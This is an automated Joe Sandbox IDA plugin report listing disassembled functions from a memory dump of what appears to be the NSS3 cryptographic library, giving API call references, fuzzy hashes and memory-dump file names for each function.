Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 48bf61a8d0dc1278fc82c219d2f3216d74760b1e314d29f0abe9c15abd21651a
Instruction ID: c8ba2a9927e110ca9c004bf4f3da9d875318086e1e87cc29f721d2d722f5f8d1
Opcode Fuzzy Hash: 48bf61a8d0dc1278fc82c219d2f3216d74760b1e314d29f0abe9c15abd21651a
Instruction Fuzzy Hash: 78216E72F002845BEB104AE69C41B6B72AEDBD174CF391035D81E63A02EA71D85B92A1

Function 6C9AB810 Relevance: 9.1, APIs: 6, Instructions: 101memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6C9A991E,00000000,00000000,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C1769
Part of subcall function 6C9C1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C180C

Part of subcall function 6C9B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
Part of subcall function 6C9B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
Part of subcall function 6C9B89E0: memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
Part of subcall function 6C9B89E0: PR_Unlock.NSS3(?), ref: 6C9B8A35

Part of subcall function 6C9BFCA0: PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C9BFCBD
Part of subcall function 6C9BFCA0: strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C9BFCCC
Part of subcall function 6C9BFCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C9BFCEF
Part of subcall function 6C9BFCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9BFD32
Part of subcall function 6C9BFCA0: PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C9BFD46
Part of subcall function 6C9BFCA0: memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C9BFD6D
Part of subcall function 6C9BFCA0: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BFD84

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C9AB88F
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C9AB8A3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9AB8B6
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9AB8C5
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C9AB8DC
free.MOZGLUE(00000000), ref: 6C9AB8F5

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_ArenaUtilmemcpystrlen$EnterMonitor$CriticalExitInternalK11_SectionSlotUnlockValuefreememsetstrchrstrcmp
String ID:
API String ID: 3017222904-0
Opcode ID: f3ae7bbba450788d3378aba97976405e505c715d60f5799c9d04fa1d6f0fa179
Instruction ID: 6f1bd9dfd08a3cf96bef8cefc38cc6f070f8a5e5c28fec66cf348cffac9af75c
Opcode Fuzzy Hash: f3ae7bbba450788d3378aba97976405e505c715d60f5799c9d04fa1d6f0fa179
Instruction Fuzzy Hash: 43210976D0111967DB005E696D05BAB767DEFD129CF140070ED18AB701EB31DA1AC6F2

Function 6C98A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CA69270), ref: 6C98A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CA69270), ref: 6C98A9DE

Part of subcall function 6C98AB40: __aulldiv.LIBCMT ref: 6C98AB66

Part of subcall function 6CA6CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CA6CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C98AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C98AA39
EnterCriticalSection.KERNEL32(?), ref: 6C98AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98AAEB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: b56a2ff99cea2b4657e1a5854b9e4d560cbec9b17d3a9a94c04d21bd8f060eca
Instruction ID: 091badbf4773f9057da45b203fb7c6b3d927bcf845ee917a9f1bce7749133c37
Opcode Fuzzy Hash: b56a2ff99cea2b4657e1a5854b9e4d560cbec9b17d3a9a94c04d21bd8f060eca
Instruction Fuzzy Hash: 8C41A270605701CFD7109F29C584796BBF6FB15328F288A2DE46D8BA81DF75D882CB80

Function 6C9B88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8906
EnterCriticalSection.KERNEL32(?), ref: 6C9B891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C9B894A
calloc.MOZGLUE(00000001,6C9C072D,00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8959
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8993
PR_Unlock.NSS3(?), ref: 6C9B89AF

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 7eb145a1a199437527f13dc3fe51b04f13303ceff6a9aba9234b6b747fd4bfb5
Instruction ID: 37d3be939415ae919592b1042dbf642a25e4bfdb0babced19273de95e428470c
Opcode Fuzzy Hash: 7eb145a1a199437527f13dc3fe51b04f13303ceff6a9aba9234b6b747fd4bfb5
Instruction Fuzzy Hash: A8312576E00216BBDB049F28DC40A57B7A8AF1971CF19852AEC1CE7B41E731E845C7D6

Function 6C9AAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9AAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C9AAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9AAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C9AAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CAC9500), ref: 6C9AAF23

Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9FF0C8
Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9FF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AAF37

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 5420bd5a3e7a04e1bbf2fe9158ee3548e39bdd473822f26496eb9f4acdc31051
Instruction ID: 0e91f2b3d8e7448a73c0b39d76267ca38bfe08add8422479f427a31fe6ae1802
Opcode Fuzzy Hash: 5420bd5a3e7a04e1bbf2fe9158ee3548e39bdd473822f26496eb9f4acdc31051
Instruction Fuzzy Hash: 81213C715053009BE7104E589C41B9A7BE4AF8972CF144314FD649B781EB31D55A8BA7

Function 6CA2EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA2EE85
realloc.MOZGLUE(F43318B3,?), ref: 6CA2EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CA2EEC5

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

htonl.WSOCK32(?), ref: 6CA2EEE3
htonl.WSOCK32(00000000,?), ref: 6CA2EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CA2EF01

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 2490373c961bc5a6ff4613244af151fad5327f46976e89f5c6362ed8223b5984
Instruction ID: 3d3f9da89f00b1e2231315ebef757578c592e2f9573578b6e857354e1d6062f0
Opcode Fuzzy Hash: 2490373c961bc5a6ff4613244af151fad5327f46976e89f5c6362ed8223b5984
Instruction Fuzzy Hash: 5921D671A00224AFCB109F38DD8079A77B8EF45759F198169EC199B651D334EC98C7E2

Function 6C9F5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9F5D71), ref: 6C9F5F0A
TlsGetValue.KERNEL32 ref: 6C9F5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C9F5F2F
PR_Unlock.NSS3(890008E8), ref: 6C9F5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C9F5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C9F5F7D

Part of subcall function 6C9F5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C9F5F82,8B4274C0), ref: 6C9F5248
Part of subcall function 6C9F5220: EnterCriticalSection.KERNEL32(0F6CAC0D,?,6C9F5F82,8B4274C0), ref: 6C9F525C
Part of subcall function 6C9F5220: PR_SetError.NSS3(00000000,00000000), ref: 6C9F528E
Part of subcall function 6C9F5220: PR_Unlock.NSS3(0F6CABF1), ref: 6C9F5299
Part of subcall function 6C9F5220: free.MOZGLUE(00000000), ref: 6C9F52A9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 4c2ce9d5b56d17041ec24cd2356dddf7ae952dda63c14b99c3ce1f4ccaffcca2
Instruction ID: 53fdf2cc884bb8f60804978d7a285cda6b2f9604fabcfd09e63c14be5e66687b
Opcode Fuzzy Hash: 4c2ce9d5b56d17041ec24cd2356dddf7ae952dda63c14b99c3ce1f4ccaffcca2
Instruction Fuzzy Hash: FE210AB1D002045FEB149F64EC417EEB7B4EF19308F544028E919A7701E731D959C7D1

Function 6C9A7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9A7F68

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C9A7F7B

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A7FA7

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAC919C,?), ref: 6C9A7FBB

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9A7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CAC915C,00000014), ref: 6C9A7FFE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 2730879cb7ca776ee9ea8ee9b3efc309a4014971608074795f67b14dc49674cc
Instruction ID: eb6c700064341cd6e9887cb1d92b0030623b60fcc4f21fff35491d9c3c9c7d11
Opcode Fuzzy Hash: 2730879cb7ca776ee9ea8ee9b3efc309a4014971608074795f67b14dc49674cc
Instruction Fuzzy Hash: 75112771E002045AF7109A75AD42BBB77FCDF5868CF040629FC69D2B42F720E659C2B2

Function 6C9ABE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CA2DC29,?), ref: 6C9ABE64

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CA2DC29,?), ref: 6C9ABE78

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CA2DC29,?), ref: 6C9ABE96

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CA2DC29,?), ref: 6C9ABEBB

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CA2DC29,?), ref: 6C9ABEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CA2DC29,?), ref: 6C9ABEF3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 0f7d2e4ce7eef083ec3a836de4cf8c8b3f666d146f322db2d18c0c6ab2a6569a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 8711BB71F001095BEB009BA5AD45FAA3BBCDF4129DF244024EE08D7741EB71D91AC7E1

Function 6C9F4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C9F4EB8,?), ref: 6C9F4884

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F48B8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: a5815488f5b5f479da49e4ce9d450ff274dacfecf61a42f057aece39daec3491
Instruction ID: ee42db141de9817424eac68a6e0339e628b1ff1413dfd5505aa79d1913c9be91
Opcode Fuzzy Hash: a5815488f5b5f479da49e4ce9d450ff274dacfecf61a42f057aece39daec3491
Instruction Fuzzy Hash: 42213B76F0024497EF005EA5EE80556777CBF1671C70445A8DF2947B01E731E85ACBA1

Function 6C9E9850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9E985B

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6C9E9871

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6CACD9B0,?), ref: 6C9E98A2

Part of subcall function 6C9FE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9FE245
Part of subcall function 6C9FE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9FE254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9E98B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9E9901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C9E9910

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
